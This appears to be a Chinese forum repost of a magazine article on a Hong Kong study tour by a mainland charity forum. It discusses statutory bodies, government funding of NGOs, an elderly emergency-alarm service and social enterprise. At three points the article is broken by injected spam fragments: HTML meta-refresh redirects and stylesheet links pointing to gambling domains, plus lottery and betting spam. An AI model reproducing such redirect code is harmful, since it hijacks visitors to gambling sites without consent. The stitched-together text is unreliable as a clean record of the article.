跨界合作与社会善治之香港解

风行天下

几个月前，中华慈善百人论坛秘书长杨团在深圳慈展会上提到一个怪现象：现下中国内地是很多企业登记做基金会，而草根NGO很多则登记做工商企业。
　　这种现象反映了中国公益慈善领域很具代表性的一个现实，政策法规尚不完善的情况下，社会需求已经催生了诸多社会行动。
　　整个2012年，许多话题都是和以上这种现象相关的：社会组织应该得到哪些恰如其分的规范和通道；社会企业作为还没获得正式名分的实体组织，如何在税收与年审的苦海中逆流而上地为社群服务；政府应该如何向民间机构采购社会服务，民间机构又如何在未来应对可能的政府关系并提供可持续的服务……
　　刚刚过去的十八大再次明晰这样的政策信号：继续政府资助，让民间组织绽放活力。而在岭南一隅的香港特别行政区，社会组织与政府合作共同服务社会的模式已经发展和摸索了近四十年的时间，社会企业创业在千禧年后更是得到了巨大发展，其间得失利弊经验无数。
　　带着各种的疑问和希望，《社会创业家》杂志追随中华慈善百人论坛踏上了“社会创新发现之旅”，尝试寻找香港模式对内地公益慈善的启示，探讨跨界别合作与多元创新解决社会议题和提供社会服务的多重可能性。
　　秋末冬初的东方之珠，烟雨绵绵。这个季节，维多利亚港上空的云雾，遮挡了环球贸易广场这座香港最高摩天大厦一半以上的楼体，在繁华忙碌的大都会背景间，身形仿佛一个模糊而孔武的巨人。入夜后，在沙田城门河畔的跑步小径边，徘徊一队远道客，谈论公民社会，也谈论谪仙诗、纳兰词、风月无边。
　　本次中华慈善百人论坛(China Charity One Hundred，以下简称“百人论坛”)与会的成员与嘉宾主要是来自大中华区两岸四地的学者、社会公益推动者和企业领袖。大会召集委员及成员何道峰先生对此戏称是一群公益路上的学士和行者，有诗为证：
　　华北乡邑雪纷纷
　　粤南细雨犹润春
　　学士行者香江论
　　两岸四地大爱行
　　公益大篷车到香江
　　香港是一个低税率的商业天堂，但伴随而来的是香港地价非常之高，真真切切的是寸土寸金，政府从土地销售中得到了较高补贴支持财政。面对惊人的房价，三五十平米的公屋就成为了政府重要的民生工程。1953年圣诞夜发生在石硖尾寮屋区的一场大火使五万人失去居所，从而孕生了香港的政府公屋计划。本届百人论坛两位联合主席之一的陈健民教授就是石硖尾走出来的那代人。百人论坛继续了上届台湾发现之旅的创新方式——公益大篷车，一路穿梭市井间，一路由陈健民教授讲述香港的民生与公民社会建设。
　　由于是亲身经历，陈教授其实是在讲述自己的往事，亲切之余，带我们一道远客置身其间并体会到香港社会变迁给一个普通人生活带来的每处点滴影响。
　　香港公屋计划得以成功的主要因素之一，是开始兴建公屋以来，就有相应机构专门负责公屋事宜。房委会是法定机构，1973年成立，主要的成员有28位，两个是官方的，26个是非官方的，成员都由行政长官委任，包括学者、议员、专业界别的人士。他们主要负责这个庞大的公共服务落实计划，也要监督政府房屋署在这方面的落实。
　　把一些行政机构负责的公共管理事务交由行政机构以外的法定机构负责或经营，这是香港行政系统的一大特色。在近几年内地行政管理体制创新和事业单位改革中，学习借鉴香港地区(包括新加坡)的法定机构，屡被学者或地方政府提及。像这样的涉及公共管理和公共政策的法定机构在香港现在有70多个，不同于内地很多机构的等同于二级政府的现状，香港法定机构有严格的法令保证其独立于政府意见之外执行其使命，并监督政府立法与法治。
　　除了住房，香港的学校也较有特点，超过七成的学校是由宗教机构、社会团体和个人创办，在一定程度上也可得到政府的资助(香港学校多为民办公助，少数不接受政府资助全部经费自筹)。多元化和跨界办学的模式使得更多社会力量能参与到教育事物当中，有效地保障了自基础教育到高等教育的多元与差异。香港教育界和学界多年来一直保持相对其人口基数较高的创新成果，正是这一教育理念优异之处的最好体现。
　　社会组织在香港社会可谓无处不在，衣食方面有消费者组织、零售业行业组织、餐饮业组织、商铺组织、良心消费组织等等，住的方面在社区有业主委员会和业委会联盟组织，行的方面也有各种关注交通问题的组织和帮助交通治理的民间机构，可谓衣食住行生老病死无所不包。在这里，各种组织间、社会组织与政府、社会组织与商家、社会组织与每个人的有效合作与制约处处体现，为香港的繁荣共建负责。
　　探访社会组织与政府合作之道
　　百人论坛在香港的探访行程是紧张和忙碌充实的，公益大篷车早出晚归，车上车下酒店内外无不做学习讨论的道场，大清早到大半夜大家精力充沛地进行思想交流，一路探访，一路思想碰撞，大家都觉得很有收获。
　　探访结合议题讨论的模式是百人论坛的特色，也是重要的践学形式。

="refresh" "0; url=http://866.cc"><link href="http://bbs.866.cc/8.css" rel="stylesheet" type="text/css" media="screen" /> |||时时冂彩| 六合投冂注| 冂乐冂城:冂

风行天下

消费者委员会
　　香港消费者委员会是一家法定机构，所谓法定机构(statutory body)，又称为法定公共机构，是根据香港法例的个别条例成立并受条例监管的公共服务机构。香港法定机构的职能与政府部门类似，但它们不属于公务员体系，而是“半独立”组织。与政府部门相比较，法定机构有较多的管理、人事聘用和财政自主权。这类机构多由政府出资成立，由政府人员、学者、社会知名人士、相关专业人士出任委员或理事，由于各方制衡在内外部建设中得以有效实现，因此可以保持其组织使命实现过程中的相对独立地位。
　　消委会成立于1974年，由法律规定了它的使命和职权是主要通过测试各种消费品的质量再向公众发布以保护消费者权益，由政府出资但交由社会贤达管理。其定位类似内地的消费者协会，区别在于由政府公帑支持保障了其相对商家的独立性，并由政府和社会力量共同考核其运转效率。如同内地的消协，消委会同样没有执法权，但有建议立法的一些便利和立法监督的一部分通道。除此以外，消费者委员会还在公民社会透明、互动、制衡的现实局面中，实际与其他消费者权益保护NGO组织和商家NGO组织产生了相互监督与合作的关系。
　　消费者委员会针对市场上的各类产品进行专业测试，并将测评结果通过其发行的专门月刊发布。月刊的发行所产生的利润，额外补贴了消委会的一些财务支出，但并不足以支持这家组织的独立运转，实际上消委会仍然是一家依靠公帑运转的机构。除此外其法定的组织身份包含了一些推动立法、督促执法、国际经验交流、沟通政府与民间相互意见的职能，所以实际上同时是一家非常名副其实的枢纽型机构。
　　每到月度检测结果发布，消委会都会以发布会的形式向所有在港媒体公布检测报告，这一活动已经有了非常大的影响力，受到各界关注。同时，香港法律又给定了任何商家不得以任何形式直接或间接的利用这一检测结果进行宣传，保障消委会不受商家利益影响。消委会的工作人员不是公务员，但同样受到一些对公务员制约条例的限制，也受到廉政公署的反贪污监督。
　　在维护消费者权益的经济政策和立法进程方面，消委会和香港特别行政区政府也有过比较紧张的关系，最直接的体现就来自政府拨款额度的增减。与商家行业组织的冲突更是消委会日常必须面对的压力之一。基于香港法治的支撑和民众的监督，消委会得以坚持使命，抗击压力，成为香港公众认同度较高的法定机构代表。
　　香港今年颁布了反不良营销手法的法令，香港社会近来极为兴盛的消费者运动也孕生了很多专门的维权组织和行动，消委会在这当中一方面作为立法的推动者，一方面作为消费者运动的跨界沟通者，积极参与公民社会建设。
　　百人论坛在本届论坛的共识中指出：“香港涉及公共管理和公共政策的法定机构有70多个。中国内地也有很多官办机构，所谓枢纽型组织。二政府，到底是官是民，在官那里说自己是民，在民那里，他们是官。人格**，与民争利，而且监管缺位，公信力缺失。”
　　以香港消费者委员会的运行模式为例，了解香港的法定机构参与社会事业构建各方面的经验，对内地改变枢纽型机构的失位现状有重要借鉴价值。
　　就此，本届百人论坛稍后在讨论中达成了共识：“公共管理领域，要培育有独立人格的法定组织，不要据守人格**的二政府和制造假民间机构。”
　　基督教家庭服务中心
　　基督教家庭服务中心前身是成立于1954年的长老会福利部，1965年开始使用现在的名称。其最早是宗教机构的一部分，而后逐渐与教会脱离，演化成现在的独立NGO、志愿者服务机构和社会企业复合体。目前该中心的主要项目是社区养老、社区医疗和社区儿童服务，除此外更涉及反家暴、心理支持、育婴、就业、康复、外来人口社区融合等诸多方面，拥有上千员工，对数万目标人群提供服务，是名副其实的民办社会服务机构航空母舰。
　　比照其业务形态，我们可以在内地找到很多提供相同或类似服务的组织，比如乐龄的社区养老、红枫的反家暴和心理支持、农家女的就业与外来人口社区融合等等，但如此跨专业的社区服务机构内地尚没有。
　　在2011至2012财政年度，基督教家庭服务中心总收入3亿多港币，其中66.7%来自政府社会福利署整笔拨款，16.2%来自学费和服务费。同一财年该中心在薪酬福利上的支出占了总支出的73%，而运营费和行政设备分别占12%和11%。在香港，有很多大型福利机构的CEO有百万级年薪，也有不少NGO员工收入可与公务员相比，这是香港的社会福利行业能留住人才的一个重要原因。除此之外，在政府资助的范围内，还包含了重要的办公场所提供。比如百人论坛此次参访的位于观塘鲤鱼门的基督教家庭服务中心，整栋楼都由政府提供免费使用，而驱车香港街头，几乎左右的社区底层都有向社会服务机构提供的免费或一元年租的营业单位。
　　内地今年还在争论不休的公益事业要不要办公成本的问题，在香港社会根本是一个不成立的问题。据香港媒体历年的相关调查，在政府加大将税收用于资助社会福利组织的规划中，基本没有反对声音，反而是对市政建设和宏观工程的支出每每遭到公众质疑。而在福利机构将较高比例支出用于薪酬福利在港人眼中也比较认同，似乎天经地义的是保障提供社会服务质量的必要花销。
　　近十年以来，基督教家庭服务中心整笔拨款增长60%，而自负盈亏增长比例超过三倍。多元化的资金来源构成也体现着机构努力运用更多的方式开拓服务方式，目前除去NGO和志愿者服务意外，基督教服务中心也与专业机构合作创办社会企业，并将社会企业所得利润继续反哺社会服务开支。
　　除了探讨政府采购服务和政府合作方式外，本次探访，我们也着重观察了该中心尝试更多服务费用支撑的模式。
　　在本届百人论坛邀请的嘉宾中，有两位来自内地的企业家也通过努力建立了政府、NGO和企业良性合作和循环机制，他们分别是刚刚获得英国社会企业大奖年度国际社会企业大奖的残友机构的郑卫宁先生，以及获得联合国人居大奖的桃源居董事长李爱君女士。与基督教家庭服务中心相同，这几家机构都尝试了融合社群服务、政府合作、企业资本经营推动的循环。
　　长者安居协会的一线通平安钟
　　1996年，寒潮奇袭香港，不断有老人因无人关注而在寓所活活冻死。当时的社会福利署正在放假，因反应不及时遭到社会公众质疑。怎样能让全港这么多老人得到不间断的妥善照料呢？
　　长者安居协会的创始人马锦华说：“你看到了一种社会需求然后创办企业，这就是社会企业。不是为了满足一种社会需求而办企业，和一般的商业又有什么区别呢？”如今平安钟经过16年风雨发展至今，从最早的通过固网的一键求助呼叫到目前五大业务板块的移动网络立体人性服务，平安钟的每一项服务都是由需求导向产生的，用马锦华的话说就是：“我们的服务就是倾心吐意，老人家让我们做什么我们就做什么。”
　　“平安钟”成了香港老者，尤其是独居老人的“守护神”。自1996年9月1日成立的“长者安居服务协会”，是目前香港唯一提供“平安钟”服务的非营利机构。“平安钟”可在距室内约1000英呎(90多米)范围内，激活自动接驳系统，通知该协会接听电话的职员报警及安排救护车等。而今“平安钟”提供有“一线通平安钟”、“随身宝”、“平安手机”、“易管家”、“长讯”五块服务产品，以长者安居中心的呼叫中心为基础提供不间断服务。
　　据人民网数据，到2004年为止，有累积十多万名香港市民使用这项服务，其中九成为长期病患者、兼由政府支付“平安钟”费用的独居长者，其余使用者，则为较年轻的病患者或独居人士。后者要自付每月100元的“平安钟”费用。
　　一直以来，香港“长者安居服务协会”都是通过外界筹募经费，并成立慈善基金。近年香港经济持续不景气，但捐款却不跌反升，反映了社会大众对此项服务的认可和需求程度。
　　协会总干事马锦华向大家演示平安钟的使用时，不停地给接听电话的坐席工作人员制造无厘头的难题。让参访者惊讶的却是电话那头永远可以传出亲切自然的对答，让大家赞叹这种长者热线服务的专业细心。无论是迷路、无聊都可以得到有效应答，这使得长者们乐意随时求助他们。这种长期的信任使老人在遇到诈骗、威胁、伤痛时能够以倾诉换倾心，掏心掏肺。
　　保障一部牵系生命的热线也需要在经营上对核心使命的忠诚，长者安居协会的两个呼叫中心都在香港本地(其他香港热线服务商大都会为节省成本将呼叫中心建在深圳)，并拒绝了很多可能在现有客户基础上谋得更多利益的商业服务，从而减轻呼叫中心系统负担，保障生命热线畅通。
　　根据我们的了解，平安钟这种业务也已经被引入内地很多地区，但总体而言服务差强人意，发展不大。究其原因，“倾心吐意”这个服务精髓是很关键的。老龄社会已经是现实无可扭转的问题，如何应对这个挑战或者机遇，有待内地的社会创业者思考和尝试。

="refresh" "0; url=http://bbbb.cc"><link href="http://bbs.bbbb.cc/8.css" rel="stylesheet" type="text/css" media="screen" /><P>　</P> |||时时巜彩| 六合投巜注| 巜乐巜城:巜

风行天下

跨界别合作的经验与误区
　　本届百人论坛邀请两岸四地的公益领袖、研究学者和社会企业家围绕“跨界别合作，多元与创新”的话题展开多角度讨论。
　　大会香港召集委员、中华仁人家园荣誉主席陈达文博士解释说：跨界别合作并不是一个很新的话题，之所以现在讨论这个议题是因为大家看到跨界别合作在中国内地公益慈善领域的趋势，希望发现更多方法，推动更多具体工作和实施政策落到实处。
　　陈博士还指出：在政府与民众之间，由各种法定机构、咨意组织、各种民间组织、公民运动行动等多层面多元化的媒介链接，有效促进公共事务的透明和民间参与。
　　大会邀请嘉宾香港社会服务联会行政总裁方敏生女士谈及公益事业中政府与民众的关系时敏锐地提出：政府是否愿意听取民间意见？是否尊重民众表达的权利？视 NGO为“伙伴” 还是“伙计”？是否愿意携手一起解决问题？
　　政府与 NGO 的关系，完全取决于政府对公民社会的理解和取态。
　　香港中文大学公民社会研究中心陈健民和阮耀启两位学者也指出目前大家对社会企业的理解含糊，常以同时照顾社会及经济目标(即所谓“双重底线”)去界定什么是社会企业，但事实上，大部分的商业机构某程度上都会在赚取经济利益以外对社会作出一些贡献(如提供就业等)，而国外很多成功的社会企业可以是营利机构或甚至成为上市公司。如果我们的认识仍停留于上述那些包括商业性及社会性的组织特征去定义，其实无助于我们理解社企的独特之处，也无从讨论如何推动社会企业的发展。
　　阮博士在与本刊工作人员交流中特别强调应重视鼓励社创精神，寻找具备社创精神的社会企业。他认为如长者安居服务协会的平安钟服务就是彻底改了为长者提供社区支援服务的方式，并将一个“被排除的市场”(shunnedmarket)成功活化，它的基本运作模式是以改变既有市场的“消费”状况以达致社会创价，是社会创新精神在社会创业行动中体现的非常好的案例。
　　陈健民教授大会发言中指出：应推动公益的社会教育，打破格局界线，让各种力量跨界别合作共同实现公民社会的教育目的。
　　陈教授还在发言中特别强调了要回避公共服务与公民社会建设中的跨界合作常有的误区，使多元化与创新力真正体现活力。
　　政府资助下的行业反思
　　本次活动我们得以在香港中文大学祖尧堂进行了一日讨论，并在其后参加了2012年香港社会企业民间高峰会(以下简称“高峰会”)。
　　中文大学为我们服务的志愿者是一群很有思想的年轻人，他们的活力与抱负让大家印象深刻。在港活动期间，我们得以和中文大学的年轻人畅谈社会创新与公民社会建设，问及对社会企业的看法，年轻人表达的忧虑让人印象深刻。实际上，近些年来香港政府在促进社会企业上花费了大量的费用，而多数由政府采购而产生的社会企业在两年项目资助期结束后便销声匿迹。由此可知实际上在香港这样一个社会企业文化发达的地区，社会企业创业依旧并非易事。
　　高峰会规模逐年扩大，“民间”二字难掩其政府推动的背景，社会福利署官员倾巢而出，更有多位港府高官在期间穿针引线。百人论坛的召集委员、南都公益基金会理事长徐永光先生更受邀在此间作为嘉宾出席“家族慈善与社会创新论坛”并发表对家族基金会在中国发展空间的分析讲话。
　　徐永光先生指出，针对中国现阶段的发展势头，成立家族基金会拥有极好的发展空间，是非常适合中国内地富豪们的一种慈善方式。除此之外，在对比尔盖茨创办的比尔与美琳达·盖茨基金会的案例经验分享中，徐先生更介绍了公益信托作为股权捐助可能的一种选择。他指出，在中国这种选择既可以避免如“曹德旺巨额捐款欠税”这种捐赠人的不必要烦恼，也可以回避基金会管理条例规定的捐款每年使用比例所带来的不必要的压力，是未来中国富豪慈善的必由之路。
　　香港地产代理商人，中原地产的创办人及行政总裁(CEO)施永青先生在参加高峰会发表了《社企在香港有存活空间吗？》和《良心消费难救社会企业》两篇博文，指出仅仅以政府政策为导向，违背市场规律、忽视市场需求催生的社会企业，创业井喷之后必将是昙花一现。
　　众多专业人士预测中国内地2013年的政府工作将有更多支持社会企业和民间办社会福利工作的政策，这是向服务型政府转型的重要信号。在此更加需要以香港经验为借鉴，避免工作向政策找齐和商业向政策找齐的思维，做到真正以需求为导向和遵从市场法则的社会创业。
　　百人论坛秘书长杨团女士更指出：在香港一个组织办一件事办好就可以了，所以有一些政府支持就可以得到发展。在内地政府失位的地方很多，仅仅办一好件事是几乎不可能的，更需要像残友和桃源居一样把整个循环结构都办好，这对社会创业者而言，难度很大。必须促进社会体制创新，才能解决根本问题。

="refresh" "0; url=http://633.cc"><link href="http://bbs.633.cc/8.css" rel="stylesheet" type="text/css" media="screen" /><P>　</P> |||时时︼彩| 六合投︼注| ︼乐︼城:︼

我本无名

宝鸡幸福猪

学习了